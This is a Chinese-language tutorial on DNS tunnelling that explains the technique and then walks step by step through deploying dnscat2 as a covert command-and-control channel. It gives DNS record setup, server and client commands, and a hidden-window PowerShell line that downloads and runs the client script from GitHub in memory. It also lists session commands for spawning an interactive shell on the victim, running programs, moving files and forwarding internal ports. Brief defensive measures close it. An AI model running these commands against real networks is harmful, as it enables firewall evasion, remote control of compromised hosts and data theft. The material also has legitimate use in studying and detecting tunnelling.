什么是隧道?
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
什么是DNS隧道?
DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件,因此,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。
DNS隧道的原理:
在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。
DNS隧道分为两种:
直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。
区别在于直连模式速度相对快,但安全性相对较差。非直连模式速度相对较慢,但安全性相对较高。大多数情况下都使用中继模式。
(另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。)
这里我们假设我们部署的是中继DNS隧道,首先我们的被控制器要查询xxx.xxx.xxx(攻击者构造的域名),当本地缓存不存在这个域名时,它将前往DNS服务器节点查询,然后DNS服务器在我们自己伪装的DNS服务器上查询到域名地址对应的IP,那么我们就可以封装加密的C&C指令传输到被控端上。
如果要通过域名的方式访问那么久必须部署域名解析,直连方式则跳过此步骤。
创建一个A记录,ns1.xxx.xxx指向vps ip地址。
查看是否生效:
创建一个NS记录dnstunnel.xxx.xxx指向ns1.xxx.xxx。
在vps部署dnscat2服务器:
# 安装相关依赖
apt-get install gem ruby-dev libpq-dev ruby-bundler git -y
# 安装dnscat2
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
有两种方式,一直是通过域名访问方式。另一种为直连方式,即直接访问ip。
ruby dnscat2.rb dnstunnel.xxx.xxx -e open -c aa8j --no-cache
-e :规定安全级别。open表示允许客户端不加密。
-c :连接密码
--no-cache :禁止缓存
ruby dnscat2.rb --dns server=127.0.0.1,port=53,type=TXT --script=aa8j
port :指定vps侦听端口
script :指定连接密码
如果是Linux:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
如果是windows:
下载链接:https://downloads.skullsecurity.org/dnscat2/
首先测试是否能成功访问:
./dnscat --ping dnstunnel.xxx.xxx
linux:
windows:
注意,如果遇到如以下[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE的情况:
先尝试清空dns缓存或更换dns服务器等方式,让nslookup域名解析到正确地址:nslookup ns1.xxx.xxx
./dnscat --dns domain=dnstunnel.xxx.xxx --secret aa8j
./dnscat --dns server=<vps_ip_address>,port=53,type=TXT --secret=aa8j
在windows下还可以使用powershell连接,脚本下载地址:
https://github.com/AA8j/SecTools/tree/main/dnscat2
方式一:导入方式
Import-Module .\dnscat2.ps1
start-Dnscat2 -Domain dnstunnel.xxx.xxx -DNSServer 8.8.8.8
方式二:内存加载方式
powershell.exe -nop -w hidden-c {IEX(New-Object System.Net.Webclient).Downloading('https://raw.githubusercontent.com/AA8j/SecTools/main/dnscat2/dnscat2.ps1');Start-Dnscat2 -Domain dnstunnel.xxx.xxx -DNSServer 8.8.8.8}
客户端连接后使用sessions 查看所有已经连接的session:
使用session -i 1指定进入哪个session,这里进入session 1,进入session后,使用help查看session里可以使用的命令, 从上到下依次是:
clear :清屏
delay :修改远程响应延时
exec :执行指定程序
shell :获得一个交互shell,会生成一个新的session,进入后ctrl+z退出
download/upload :上传下载文件(速度很慢)
suspend :返回上一层(效果同ctrl+z)
listen :本地端口转发,如listen 0.0.0.0:3388 10.1.1.10:3389(将内网10.1.1.10的3389端口转发到vps的3388端口)
ping :确认目标机器是否在线(返回pong即在线)
shutdown :切断当前会话
quit :退出dnscat2
kill <id> :结束某个session
set :设置值。如set security=open
sessions :列出所有session
session -i <id> :进入某个session
进入一个session后,直接输入shell,就会在后台生成一个新的session,这个新的session即为目标的交互式shell:
输入exec notepad.exe会打开记事本:
防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。
i)禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
ii)虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。
iii)跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告
iv)阻止ICMP
参考: https://www.freebuf.com/articles/network/284740.html
参考:https://blog.csdn.net/qq_44874645/article/details/120966897